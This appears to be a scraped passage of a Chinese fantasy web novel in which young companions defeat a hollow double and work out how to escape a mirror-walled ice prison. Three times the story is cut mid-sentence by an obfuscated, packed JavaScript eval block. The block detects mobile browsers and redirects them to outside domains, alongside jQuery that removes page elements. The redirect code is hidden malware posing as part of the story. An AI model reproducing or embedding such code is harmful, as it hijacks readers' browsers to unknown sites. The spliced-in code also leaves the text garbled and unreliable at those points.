“你也看到了。”空心阮廷榭站在海中央,双臂打开,像一个陶醉的指挥家,“这些藤蔓只要把你的同伴一起拉进海里,就彻底结束了。巨鲨一次能救几个人呢?你总不会希望白来一趟,还赔掉小命,对吧?真的,不要再考虑一下吗?” “如果我不接受呢?” “唉,好吧。”空心阮廷榭收回手,“那就很遗憾啦。” 紧接着他一声轻笑,藤蔓另一端12个空心人倏然从中央海域破水而出,落到地面——正是当初天幕时钟争夺战的12个胜利者。 此刻除了没人的那块陆地,其余每一块上都站了三个藤蔓人。每一个藤蔓人胸前,都有一个空心破洞。 索尔立刻退后,与他们拉开距离。 而伴随着12个空心人落地,一道熟悉的哼鸣随之降临。洛祈立刻听出来,就是当时物件上出现绿色中空边框时的声音! 行李箱……洛祈在藤蔓中剧烈挣扎,动弹不得。最后他放弃挣脱所有藤蔓,用尽全力滚到行李箱前,一只手从尖刺密布的藤蔓中伸出,不断伸向行李箱锁扣——咔哒,咔哒,两边锁扣弹开。 下一秒,箱盖被顶起。 带着绿色五边形框的12个物件像是有着既定轨道,从行李箱中缓缓升起,继而朝着12个既定方向飞去。 然后洛祈看见它们先加速、再减速,最终停在了那些空心人的胸前。 那12个破洞此时此刻正好是12个物件的形状! “对,”洛祈喃喃,像是把希望都投注在物灵配对上,“就是这样。” 如果他没猜错,那些藤蔓人也是一些孩子,一旦物灵配对成功,他们就一定能恢复神智,一定没问题。 不出所料,12个物件缓缓向前,推进12个破洞。顷刻间,12个藤蔓人从心口开始填充皮肉,一寸一寸,逐渐完整了全部样貌。 那确实是一些大孩子。看起来都是十几岁,但也未成年。 天空中,哼鸣声不断回响。萨满少女被藤蔓绑着,没有挣扎,所有注意力都在聆听辨识上。 五官完整,瞳色恢复,眼神清明的瞬间,12个孩子左右看看,随后,露出些许茫然的表情。 洛祈的愿望,落空了。 他期望的画面没有到来,因为所有的孩子都好像陷入了茫然。他们下意识拉着手上的藤蔓,丝毫没有放开的意思。 空心阮廷榭瞧着眼前这一幕,摇摇头,好像他真的为他们遗憾似的,“真可惜啊。你还指望这些孩子帮你们吗?他们可是,空心人啊。” 说完,他两手向前,掌心顿时生出12枝藤蔓,疾风般扑向那12个孩子—— 每一条藤蔓都紧紧扣住他们的后颈,随即,混沌之海升起12道水柱,从下往上包裹住那些孩子。眨眼之间,那12个刚被填充的物件就被海水倏地推出心口。 一个个重新掉回地上。 而12个孩子也瞬间从“人”的模样,回到了藤蔓空心人。空空如也的心口,此时凝聚着一团浑浊的水。 “怎么会……”洛祈睁大双眼,难以置信,“会这样。” “哈哈哈哈——”空心阮廷榭笑了起来,“让我告诉你们吧,空心人,”他意味深长地说,“可是最好的傀儡。” 再一抬手,12个空心人立刻如排兵布阵一般,迅速站位,拉紧藤蔓。 “因为他们始终是空的,没发现吗?”空心阮廷榭说,“你以为那些物件,就能给他们坚固的核心?呵,错得离谱。他们一辈子都在寻找能填充自我的东西。而你带来的那些东西,微不足道。只要我有更大的力量,就能够瞬间影响他们。” 巨大哼鸣声随着物件掉落 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15036586|155864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 戛然而止。 萨满少女有些恍然,目光移向那些空心人。 “第三只尖角被折碎,”她默念,“主体中空……声断联。” 原来是因为这个,那些孩子才听不到星星的声音吗? 一切又重新回到原点。 其他几人都被捆住。索尔面前的三个空心人立刻发起攻击,但很明显,算不上索尔的对手。 “你说他们是空心人,”对峙期间,索尔冷笑,“那你自己又是个什么东西?” “我?”空心阮廷榭睁大双眼,看起来相当无辜,“我跟他们当然不一样啊。我已经找到了,最好的琥珀之心。说真的,”他指了指自己胸口,“我现在完全感觉不到这里是空的呢,多美妙。” “——你觉得你从我身上得到了什么?记忆?情感?” 不远处,阮廷榭虚弱但坚定的声音传来。 索尔回头一看,阮廷榭坐在巨鲨背上,回到他身边。看向空心阮廷榭,再次开口,“你以为你吸取的那些东西,能填补你空虚的灵魂吗?你也不过是个空壳。我的记忆和情感,没有一样可以真正属于你,也永远不会成为你的一部分!” 空心阮廷榭几不可察地一愣,随后笑意不达眼底,“你再嘴硬,不也得承认你现在完全想不起任何重要记忆吗?” 想到这个,阮廷榭还是被激怒了。倾身向前,当即就想骑着巨鲨冲过去,跟对方决一死战。 “冷静,Ryan,先别急。”索尔看出他的动作。 阮廷榭前倾的上半身回正,不甘地压下怒火。同伴都被藤蔓控制着,他的确不能轻举妄动。 “对了,阮阮!”许梦扬挣扎无果索性躺平,保持体力,但忽然想起来一件事,“塞勒告诉我,巨鲨背上有一把冰刃,你看看是不是?” 阮廷榭沿着鲨鳍看过去,确实有一个晶莹剔透的凸起,他握住那里,向外一抽,冰刃沿着弧线轻轻滑出,看起来透亮又锋利。 “很好!”许梦扬眼前一亮,冲着阮廷榭大喊,“塞勒说,那个冰刃据说可以摧毁一切!你现在还可以动,用那个对付他!” 空心阮廷榭瞬间变了脸色,但仍然故作镇定。看见阮廷榭将冰刃尖对准自己,他漫不经心,“不妨告诉你,一旦我不在了,你就永远拿不回属于自己的记忆和情感了,劝你最好别轻举妄动哦。” 阮廷榭持刃的手有些颤抖。说不犹豫是不可能的,那么多的回忆,他当然一件都不愿放弃。 可是…… 他看了看索尔,又看看其他伙伴们。 感到从未有过的痛苦。 “接下来……”趁他犹疑的间隙,空心阮廷榭身下水花乍起,在旋转的水涡中缓缓下沉,“就让这些空心人陪你们玩玩吧。” 阮廷榭一愣,骑着巨鲨即刻就想上前,“你别跑!” 与此同时,却见另外九个空心人一起发力,紧缚的藤蔓向后一扯,顿时,洛祈、许梦扬、埃文、萨满少女先后被拖进了混沌之海! 56.混沌之海 水面之下。 混沌之海深蓝而浑浊。 洛祈被拖下水的瞬间,最深刻的感受,反而不是预料之中的窒息感。一层水膜包上来,除了窒息感,其实还有种奇怪的感觉。 ——他的“意识”仿佛被海水接管了。 他感觉自己被调取了很多熟悉而又陌生的情绪。 先是无数的茫然,好像自己的思维随着五感一同变得浑浊; 然后他开始感到迷失、忘了自己身处何时何地,甚至,忘了自己是谁。 接着,是一重又一重的幻想,光怪陆离引人入胜,他沉浸其中无法自拔。 像一刻不停做了无数个梦。 却不知是不是走马灯。 他开始昏沉,疲惫,想睡觉。 当然,很快他又被窒息感逼得恐惧。那恐惧惊醒了他,强迫他从混沌之中抽出一点清醒。他开始强烈挣扎起来,想要逃,双手却不听使唤,一边掰握着身上缠绕的层层枯藤,一边又向上划动,企图游上水面。 然而终究都是徒劳。 空心人们紧紧拉着藤蔓不放。 越收越紧。 被捆绑的四个人刚才的感受几乎一致,此刻都开始剧烈挣扎。 而空心阮廷榭漂浮在不深不浅的水下,在他们中间,双臂双腿自然伸展,看起来怡然惬意。 是的,他不需要呼吸。 在这里,他如鱼得水。 此时的他左右看看,又露出曾经坐在天幕时钟上那一副看好戏的表情,对眼前发生的一切感到很满意。 忽然,索尔跳了下来。 空心阮廷榭眼眸一亮,立刻回正身体,看向索尔,和他伸过来的手。 眼前的索尔双手空空,没有任何锐器,他也没有去救那些人,只是温柔地看向自己,又伸出了一只手。 始料未及。 突如其来的惊喜,让空心阮廷榭感到自己的胸腔猛然一跳,他不知道怎么了,只感觉被一股充盈、又浓烈的情绪所包裹,情不自禁问出了口,“你……你是来找我的吗?” 索尔游近了一些,眼睛弯起来,仍然保持双臂向前的姿势,像全然接纳,对他温柔地点头。 好奇怪……那是什么感觉? 空心阮廷榭怔愣着,被不受控的情绪支配着,忍不住也伸出手,想要触碰。 四手触碰的瞬间,过电一般。 一种剧烈的、不属于空心阮廷榭的感觉袭卷了他,几乎让他动弹不得。 ——那是属于阮廷榭的情感。 只是太过陌生,他并未反应过来。 可当他在瞬间失神之后恍然回神,却已然来不及,被索尔紧紧抓住。 空心阮廷榭顿时感到不妙,被禁锢的感觉很不好,他想挣扎,想逃脱,可是胸腔内一股一股陌生而浓烈的情绪,又让他对索尔根本无法拒绝。 想要靠近。 又想远离。 进退失据。 他心中时空时满,不由自主。 警铃大作却无济于事。 忽然有那么一个瞬间,他挣扎着,痛苦着,不想要了。 那是他控制不了的东西。 也就在那时,索尔抬眸向上一撇。 原本深沉空寂的海水被瞬间搅动,空心阮廷榭猛地抬头。 伴着一声“——去死!” 一柄晶莹利刃从头顶上方,破水携光而下。 精准无比,果断地插进空心阮廷榭的天灵盖。 剧烈的痛楚穿身而过,眼前是近在咫尺的阮廷榭本人。空心阮廷榭目眦欲裂,似乎到此时还是无法理解,自己是怎么被这废物败下阵来。 可他望定他。却看见阮廷榭翘起的嘴角,在阮廷榭坚定的眼神里分明读懂了—— 你从来就没有真正拥有过自己的东西。 你吸取的一切,最终都将反过来吞噬你。 这是他和索尔的阴谋! 空心阮廷榭张大嘴巴,像是终于明白了什么,心有不甘却无法回应。 阮廷榭没入水中,屏住呼吸,竭尽全力将冰刃一压到底。 他下了孤注一掷的决心。 哪怕找不回来星星。 哪怕失去所有记忆。 哪怕一切都回到原点。 但他相信自己,也相信索尔。 他们会共同创造新的回忆。 这是他自己做出的选择。 空心阮廷榭终于撑不住失去了人的面貌,再度回到藤蔓人的状态,所有藤蔓在一瞬间痛苦地尽数爆开。 连同控制着另外12个空心人的细长藤蔓,在冰刃强大的力量辐射之下,悉数断落溃散。 一节一节,连同一颗模糊的琥珀。 一起坠入了海底深处。 而就在此时,在空心阮廷榭完全崩溃的一瞬,失落的回忆却如潮般涌回脑海。一浪接一浪,大大小小,事无巨细。 阮廷榭全部想起来了! 原来他在撒谎? 那是空心人的谎言! 阮廷榭瞬间的错愕被惊喜代替。正欲寻找索尔一起上岸,却忽见周边海水开始冻结、凝固、海水由深蓝变浅。突如其来的氧气让他猛吸了一大口。 能呼吸了?几个人感觉自己快憋炸了的肺得到即刻解救。 海水包裹性的冰凉触感急速退去。眼前的世界倒错翻转,重新建构,如同陡然掉进冰莹透亮的万花筒,处处是霜花凝结之声。 整个混沌之海瞬息之间凝结成为一座巨大的冰窟囚笼,将所有人都关在了里面。 “这是……什么情况?”阮廷榭站起身,看见自己正身处一个不规则空间,周边的每一块冰面都能清晰地映照出自己的样子。 索尔不在身边,其他伙伴也不在。 他被单独划分在这里。 不知其他人的境况是否也是如此。 “是镜面囚笼。”忽然,头顶上传来一声微弱的、如同微风拂过草丛的沙沙声,“小阮。” 阮廷榭一愣,那声音真的很陌生,可是不知为什么,又感觉很亲切。“谁?”他小心地问。 “是我,”那声音安静地说,又像一只刚出生的小绵羊,“我是你的星星呀。” “星星?”阮廷榭顿时难以置信地捂住嘴,转身看向最近的墙面——竟然真的在冰面倒影上,看见自己的头顶有一颗微微发着光的星星。 星星主体的五边形仍然是绿色边框,只是那里已不再空洞。 “你真的是?”阮廷榭忍不住伸手,触向冰面,“……我的星星?” 是他曾经听不见声音的星星? “是啊。”星星温柔道,“你能用行动将我找回来,我很开心呢。” “可我……”面对这样的意外之喜,阮廷榭有些手足无措,“我好像也没有做什么……真的是我吗?” “当然啦。”星星说,“从你决定勇敢起来,坚决拿起自己主体性的那一刻。就已经找回我的声音了。” 阮廷榭望着冰面映像,百感交集。听见星星再次同他说话,仿佛他与它初次遇见,“很高兴见到你,我是你的星星,小阮。” “很高兴见到你,”阮廷榭也笑了,“欢迎回来,星星。” 想把这件事立刻告诉索尔,却忽然发现自己入海前刚刚收起了头盔。再次拿出来戴好,开机,灯带闪过,耳机里第一时间传来索尔的声音,“Ryan?你还好吗?” “是我,索尔。”阮廷榭抱歉地笑笑,“我还好,让你担心了。” “没事。”索尔的语气明显轻松了些,“你没事就好。” “对了,索尔!”阮廷榭雀跃,“我找回我的星星了!” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15062326|155864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真的?!”索尔听起来比他还要高兴,“你能听见星星的声音了吗?那,你的记忆呢?” “都回来了!”阮廷榭语气含笑,“那是空心人的谎言。但还好,我通过了。” “你真的很棒,Ryan。”索尔温和地说,“我为你骄傲。” “我现在在一个独立的空间。”阮廷榭看向目镜,显示器上在线的红点只有四个,分别是他、索尔、埃文和洛祈,“大家呢?都是单独划分的吗?” “应该是,”索尔说,“我们刚刚对过,都是一个人。” 那就说明原本的六个人中,现在许梦扬和萨满少女完全无法联系到。 “恐怕我们得想想,”埃文道,“现在应该怎么出去。” 洛祈已经观察了好一阵他所处的不规则空间,空旷,但不大,周围被分成大量的反射冰面,然而无论横的竖的还是斜的墙面都严丝合缝,毫无破绽。 “这样,大家,”洛祈忽然想到一个主意,“我关掉麦,然后喊各位的名字,你们看下能不能听到。如果能听到,说明这里的固体传声依然奏效。如果听不见,就说明这个空间是特殊运行的。” “好。”/“可以。”几人回道。 洛祈关了麦,深吸一口气,然后大声喊出另外几人的名字。 等了一会儿,他重新开麦,“有听见吗?” “没有哎。”其他几人相继说道。 那就很明显了,洛祈想,这样一个特殊打造的空间,用常规的方法恐怕行不通。 “没错,小祈。”头顶毛茸茸的声音说,“在这里如果暴力打破冰面的话,是会引发反射攻击的哦!” 星星话音刚落,整个空间猛地一震,随即所有冰面似是镀了层薄薄的银,每一片都映射出洛祈的身影。 “怎么回事?”未及洛祈反应过来,所有镜面都开始发射大大小小的冰凌,直奔他来,洛祈瞬间拉过背包挡住头,忙问,“刚刚有人攻击冰面吗?” “没有。” “不是我。” “没啊!” 另外三个也慌忙躲避,相继说。 那现在看起来似乎只有两个可能。 “……会不会是,”埃文声音迟疑,“Xu采取了攻击?” 的确,许梦扬的性格是容易做出来的。但洛祈摇了摇头,“虽然我们都是单独一人,但许梦扬身边是有星星的。” 几人恍然,他们也同洛祈一样,刚刚都被星星告知过不能暴力突破。 许梦扬也有星星,没道理不知道。 刚说完,整个空间又是一阵震动,无数反射面的冰凌再次破风袭来! 耳机中,埃文气喘吁吁道,“那,那就是……”答案仿佛呼之欲出。 可此时哼鸣声猝然响起,重重叠叠回荡在整个冰窟中,每个人都听得一清二楚。 “不对。”洛祈倏然推翻了大家的猜测,“黑牒,你能不能检测到这整个空间,现在一共有多少人?” “好的,洛祈。正在进行超声波回弹检测。”片刻后,黑牒说,“经检测,当前可扫描到人形物体,一共32个。” “32个?!”阮廷榭有些惊讶,“哪来的?” “明白了。”这个答案佐证了洛祈的猜测,“除了我们六个之外,应该还有26个已经完成了物灵配对的人在这。” 被空心人的藤蔓拖下混沌之海后,洛祈就没再见过自己的行李箱了。现在也不知在什么地方。但既然哼鸣响起,按经验来说,十有八九是发生了最后26个物灵的自然配对。 至此,所有的物件全部配对完毕。 那么就一定会出现相应的26个人。 因此刚才的两波震荡来源,或许既不是许梦扬,也不是萨满少女攻击了冰面。而是另外一些人。这意味着危险随时可能被动降临,他们得尽快出逃。 57.镜面囚笼 没有联系装备的许梦扬和萨满少女,也正分别身处一个冰窟间格中。 与洛祈猜想的差不多,许梦扬被星星告知不能暴力突破,因此面对突如其来的未知攻击也是一脸懵逼。 但他明白,一定有谁触发了这里的镜面反射。 在第三次攻击发生之后,许梦扬发现了一个有点明显的,特殊现象。 原本他所在的不规则空间,周围大概有不到十块的冰墙镜面,但是每次震荡与攻击之后,冰墙就会出现看似是裂痕但触感依旧光滑的纹路——将大块的镜面进行二次甚至多次的分割。 这就意味着,越是有人触发攻击,越会增加镜面的数量,从而导致下次反射攻击时,发射的冰凌越多。 想到这,许梦扬不禁后背一凉—— 也就是说,如果第一次攻击,整个冰格的镜面发射了不到十个冰凌,那第二次就会变成二十几个,第三次大概四十几个,之后恐怕会呈指数型上升。 既无法暴力突破,又找不到任何裂缝与出口。 这个密闭空间,还真有可能将人困死在其中! 不能这样。许梦扬沿着冰墙纹路,将分割的镜面一块一块看过去,每一块镜面都清晰映照出他不同角度的身影…… 另一边,萨满少女的经历如出一辙。 要说有什么不同,大概就是她所在的空间内,除了她本人还有那只梅花鹿。所有冰蓝色镜面上,都是两个身影。 “怎么办?”萨满少女摸了摸梅花鹿的脑袋,还算平静。 虽然没有一颗星星在头顶,但萨满少女直觉,若从指导灵来看,这只梅花鹿就是她的星星。 她是特殊的,它也是。 梅花鹿乖乖任她摸头,然后抖了抖身体。虽然不会说话,但它给出了反应。它径直向前走向冰墙,在那些镜面中嗅闻,像在观察。接着,它选定了一面,用吻部轻轻碰了一下。神奇的事发生了。 镜面上忽然开始出现,不同于当前倒映的动态影像。 随后,以那个镜面为中心逐渐向外,层层扩散出了多重镜像。 每一个镜面上都出现了一个会动的萨满少女,幼年的,少年的,青春期的,甚至不止过去,还有未来。中年的,年长的,垂垂老矣的…… 萨满少女惊异,睁大眼睛环顾着。 无数的镜面碎片让人眼花缭乱,有的她见过,有的没有。混淆着,也分不清到底是真是假。 但它们无疑有种致命的吸引力——即人对于自身“命运”的探究欲。萨满少女深知,鲜少有人能抵挡住,窥探命运的诱惑。 就连她自己也不能免俗。 另一边,洛祈已经跟塞勒通完话。 跟她了解之前在潜镜丘时,都发生过些什么。 原本困在冰窟且在线的四人一对信息,其实很容易得出,这个状况谁也没见过。 于是他们想到了塞勒。 不出意外,她可能会知道些什么。 果然,塞勒听过之后,感觉这个场景似曾相识,但也并不完全相同。 首先她提到的镜面人,其实谁都没见过;其次当时她是在完全露天的环境下,并不是密闭空间,似乎也没有触发过什么机关,这就已经很大悬殊了。 不过,说起冰墙镜面,塞勒还是给他们提供了几个自己的思路,并认为镜面人没有出现或许是件好事。 洛祈逐一认真记下—— 第一,尝试破坏镜面。 第二,尝试干扰反射。 第三,尝试显化法则。 当然,第一条在提出时洛祈就向她说明,这个密闭空间或许无法暴力破坏镜面。因为镜面受到外击的第一时间,会触发防御性反射攻击。随意破坏的话,可能会让其他未知的伙伴陷入被动处境。 “这样啊。”塞勒沉思了一会儿,仍然坚持,“我还是觉得,破坏镜面是最根本的解决方法。但这个情况,确实有些棘手。” 随后她向几人说明了她当时是如何使镜面成功发生崩解,并解释了化学原理。而这个方式也确实很巧妙,无需通过外力破坏,崩解是自内而外发生。 唯一的条件是需要配合显化法则。 “但……”塞勒说,“我唯一担心的是,星星说过那是在我的潜意识世界,因为原本就深藏着那些东西,所以我显化出来并不会很难。” 如果不在潜镜丘的话,还会不会奏效,其实她也说不准。 “好,明白了。”洛祈谢过塞勒,结束通话,把注意力转向所谓的显化法则上。 然而不出所料,在询问的过程中,星星的解释也印证了塞勒的猜测。 “显化法则在潜镜丘是最容易成功的。”星星说,“因为那原本就是潜意识的世界。如果是在外部世界,显化会根据每个人的能量高低发生延迟。” “延迟?”洛祈思忖,“你说的能量是指?” “信念的力量。”星星说,“本质上,显化法则就是对信念的考验。如果你的信念足够强,就能缩短显化时间。” 于是接下来所有人都尝试了一遍,但没有一个显化成功。 “不在潜镜丘的话,”星星安慰他们,“确实比较难。” 既然如此,第一条破坏镜面思路待定,第三条显化法则基本作废……就只剩下第二条思路,干扰镜面。 然而当四个人正准备想办法干扰镜面时,整个空间的所有镜面,恍然间都开始一面一面出现动态影像。 直到多重镜像,将整个空间填满。 “这又是怎么回事?”洛祈疑惑。 “不清楚,”埃文道,“但或许也是有谁触发了什么。” “我这边的影像全是我自己,”索尔说,“你们呢?这其中会不会藏着什么破解的方法?” 画面太多,也太纷乱。 洛祈随意挑选了几个观察,在其中一面看见了自己小时候离开城寨,但神奇的是,他又在另一块镜面上,看见了自己继续生活在城寨中。 这代表了什么呢? 洛祈随即意识到,无论是什么,这个情况的出现,都让干扰反射这一思路成为泡影。因为此时此刻,空间内所有镜面,都不再具备反射作用。 第二条思路宣告暂停。他们又再次陷入死局。 “我这边也是。”阮廷榭回答,“全都是各种时期的我自己。而且,”他顿了顿,“我刚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15065926|155864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才观察完有一个想法,会不会,跟选择有关?” “选择?”洛祈问,“怎么说?” “对。”阮廷榭解释,“我的想法是,这空间里的每一块镜面,或许都是我们从小到大曾做过的选择。每一个选择,都是一个人生的分岔点,我们走了A这条路,就放弃了B选择。而这里的镜面,则是将所有选择的可能性都摆在眼前了。” “原来,”洛祈恍然,又连看了好几面,“是这样吗。” 但不得不说,这些镜面仿佛有魔力一般,看了一面还想再看,看了一面,还想再看。每一个选择都在无限演绎、发展,像是一部电影有无数个不同的结局,很想一个一个全看完。想提前知道所有正确答案。 看着看着,洛祈有些恍惚了,声音变软,“可……这是为什么呢?” “小心。”埃文忽然反应过来,“大家都别陷进去了!也许这个机关就是要让每个人都迷失在这里!” 洛祈猛然惊醒,强迫自己移开视线,别去看,别去好奇。 “你说的有道理。”洛祈揉揉眉间,提醒大家离开视线。 不得不说,这个空间跟塞勒说的镜面人相比,孰好孰坏还真说不准,软刀子照样能取人性命。甚至比来硬的,更加无声无息。 果然,刚才还时不时触发的镜面反射攻击,停歇了。说明没有人再继续破坏镜面。洛祈想都不用想,另外那26个人此时恐怕都陷进去了。 “没错。”埃文头顶的星星说,“这就是混沌之海的可怕之处。这样的一个镜面空间,只要你身处其中,它就能透过镜像,针对每一个人量身打造出心灵的多重样貌。为的,就是让你们永远迷失在这里。” 原来这才是镜面囚笼。 它困住人的身体,瓦解人的意志。 让人自动自觉放弃抵抗沉浸其中,却根本不费吹灰之力。 “……我有一个疑问,”洛祈忍住不看,“那些画面里的镜像,都是真的吗?” “当然不是!”洛祈头顶,星星炸了毛一般,“小祈可千万不能被那些影像骗了!那就是针对人类弱点制造出来的障眼法!在那些镜面中,你会看到,你做过的所有选择都是‘错’的。永远是未选择的那条路更好,从而对自己更加苛责,更想去要所谓的正确答案,可实际上根本没有那种东西!” “……啊。”洛祈恍然,心里一下轻了许多,“是啊。” “原来是真伪参半么?”耳机内,索尔观察完,说,“用我们已经经历过的真实事件,为那些假影像做背书,半真半假,还真是很具有迷惑性呢。” “这就是镜像困境。”索尔头顶温润的星星说,“因为每个人都无可避免地,存在各式各样的认同。所以它会预判出你最想看到的正确的、渴望的、期待的、理想化的、外界认可的样子。并认为那样就是完美的自己。殊不知那只会让人离真正的自己越来越远。” “那我们,”阮廷榭半遮双眼,“要怎么样,才能让这些影像停下来呢?该如何破解呢?” “其实很简单,”头顶星星发出草叶般的轻声,“觉察自己,然后接纳。当你们真正能够做到,就能让这些镜像停下来,恢复原状。” 58.终于破晓 路径摆在眼前。 第一个停下镜像的,是索尔。 或许因为常年跟稀有的濒危植物打交道,索尔对于生命的看待,从植物到人,总是感性与理性并存,不乏真实,也不乏浪漫。 在索尔看来,从来没有任何一种植物,因为濒危,就改变自己变成其他旺盛的品种,但它们的生命同样值得尊重。人也一样。 所以“接纳自我”对他来说,完全不是难事。 索尔做到之后。没过多久,洛祈、埃文和阮廷榭也凭借自己同现实中人事物的链接,回顾觉察,辨别真伪,相继停下了镜像。 当一个人活在现实中,而非头脑里,就更容易看清自己真实的状态。而真实,恰恰是接纳自我最必不可少的前提。 他们各自的空间又恢复了寂静,冰墙分割出大大小小的镜面上,又沉默地映出各自单调而繁多的身影。 但这还不够。洛祈望着冰蓝色的镜面,如果只是他们停了下来,还是没有突破。还是死局。 不过,塞勒刚才的话给了他一些启发。 在这样一个密闭空间里,最根本的破解方法,确实是破坏镜面。但要怎么破坏,才能让全员受到最少的伤害,是个问题。 洛祈从左走到右,又从右走到左。将所有镜面全部观察了一遍,他想,这些镜面像一只只眼睛,随着他的走动而改变瞳孔的映射。那么,这里到底有没有弱点? 眼睛。反射。镜像。真伪。迷失。 它是靠这些,来控制笼中之人的。 忽然一道电流闪过脑海,既然如此,如果不再依赖眼睛来判断镜像,会不会能找到破解镜面的关窍呢? 洛祈在一面冰墙前站定,面对无数被复制的自己,闭上双眼抬起手,五指触摸到镜面上—— 关闭视觉。 听觉,没有任何声音。 触觉,冰凉,且光滑,毫无特殊。 嗅觉,他只闻见寒冽的冰的味道。 五感正常。 他睁开眼,片刻后又闭上。再一次,他将整个手掌都按压贴上镜面。发起感知。 五感先后关闭,只留下物灵感知。 一些微妙的感知力随着他每一次缓慢、而有规律的呼吸被释放出来。丝丝缕缕,从指尖向外,游走在每一寸冰凉的镜面之中。他已经开始游刃有余。 既然万物有灵,他想,那就试试看它有没有。 蓦地,他感觉到什么,倏然睁眼,有些疑惑。他不确定是不是物灵,但这整个空间的无数镜面,似乎确实有能量高低之分?! 洛祈维持着这个姿势,保留视觉,眼神随感知一起游走,开始将视觉一一对应,观察周围。 发现了。虽然那些被分割的镜面之间没有裂痕,但的确让他感知到了微弱不同。比如更大的镜面感知起来更坚实,而更小的镜面则会感觉更薄更弱。如果将它们感知成一个一个单独的能量体,加起来构成了整体,或许更说得通。 洛祈有一些惊讶,但更多的是一种振奋。至少他知道了这个空间内的镜面,物灵感知上是有强有弱的! 那么,洛祈望着墙面上反射出来的自己的身影——他有没有可能,干扰反射?或者干脆直接破坏最脆弱的反射面? 感知到最脆弱的地方没有问题。但在“用什么”来破坏这个问题上,洛祈迟疑了。他将自己背包中的东西全部翻倒出来,一些衣服,一些书,还有些纸笔等小物件。他摇了摇头,不觉得随便什么都能奏效。 这里是由混沌之海凝结而成,看着是冰,但也无法判断材质是否特殊。如果要一次一次击打,持续触发攻击,所有人都会很危险! 一次就好,洛祈忽然想再看一次镜面攻击,他要看清楚攻击到底是如何发生的。有没有他遗漏的细节。 恰在此时,整个冰间很巧地一震。 仿佛默契的心有灵犀。 镜面攻击随即展开。 洛祈立刻聚精会神,盯着四面八方迎头而来的冰凌,直到最后一刻才低头抬手遮挡,冰凌像子弹一样砸在头盔和身上,叮铛落地。 是许梦扬。 在另一边,看穿了镜面囚笼机制的许梦扬,此时的攻击意图也很简单,他想通过强制触发镜面反弹攻击,破坏其他人的动态影像。从而避免陷入沉迷,起到强行唤醒的作用。 虽然彼此看不见,目的也并不相同,但很巧的,他们隔空打了一次默契的配合。 而洛祈也确实发现了一些细节—— 第一,所有冰凌都是瞬间从镜面中发射而出的,或者说冰凌子弹就脱胎于镜面。这也许说明,冰凌子弹和镜面,本质上可能是一个材质? 第二,子弹掉落在地后随之不见。这又是为什么呢? 第三,在空间内几十块镜面同时发射、如此纷乱的状况下,竟然没有一个冰凌子弹砸到其他镜面上?! 这太让他惊讶了。 不说那些单一的从上往下的镜面,就连不规则空间内,距离很近且角度刁钻的一些冰墙,发射的子弹也全部精准地砸到了他身上。 这意味着一件事,这里的攻击绝非随意发射,每一块镜面都有着精准的靶子,且子弹只会落到靶子上。无论增加多少镜面,靶子都会随之出现。 而靶子,就是他在每块镜面上的镜像! ——如果将镜面看作狙击镜,现在洛祈的身上也许会出现无数的小红点,和无数精准的红色弹道。 没有射偏的可能是吗? 电光石火间,所有信息冲击洛祈的大脑,线索串联,他忽然有一个大胆的猜测。 那些冰凌之所以原地消失,是为了防止笼中的他们再次利用——来反制同一材质的镜面?! 洛祈一瞬间茅塞顿开。 以子之矛,攻子之盾,还真有可能破坏镜面! 怪不得冰凌的弹道需要如此精准,但凡有一点偏差,或许就会击中镜面,导致冰墙的破裂? 洛祈被这个发现震惊,仿佛忽然知道了正确答案却苦于考试没带笔。 如果他的设想成立,冰凌子弹可以击穿镜面,那问题来了,落地就消失的冰凌上哪里去找? 没有答案。他立刻将自己的发现,一五一十全部告诉了在线的三人。在得到可行性的肯定之后,四人都对冰凌来源问题陷入了沉默思考。 “要不,”埃文打破沉默,“再引发一次镜面攻击?这次我们都尝试一下,看有没有可能,不让冰凌落到地上?” “可以。”索尔同意,却也有顾虑,“但大家一定要量力而行,徒手接子弹本来就是很危险的事。更何况……”他环顾一圈,“经过刚才许多次的攻击触发,我想,大家所在空间内的镜面,已经被数次分割至几十上百块了吧?” “确实。”埃文坦言。 翻倍的镜面涨势让人忧心,洛祈知道,最多再引发一次,到两次,就是极限了。 “好,”洛祈说,“我们做好准备,把能想到的接住冰凌的措施都先想好,就试这一次。” 他们花了几分钟时间,将所有能做容器的物件都准备好,衣服、背包、阮廷榭还清空了医药箱,希望能顺利接到冰凌。 准备就绪后再次触发了攻击。 洛祈一边将手中的书砸向墙面,一边同时喊:“现在!” 无数镜面随即闪动,冰凌脱胎而出,子弹一般从四面八方飞速射来。 洛祈用薄衣包住头脸颈部,低下头,手中抻开一件由厚衣制作的简易布兜,身后背着清空的背包,包链大敞,方便冰凌落进。 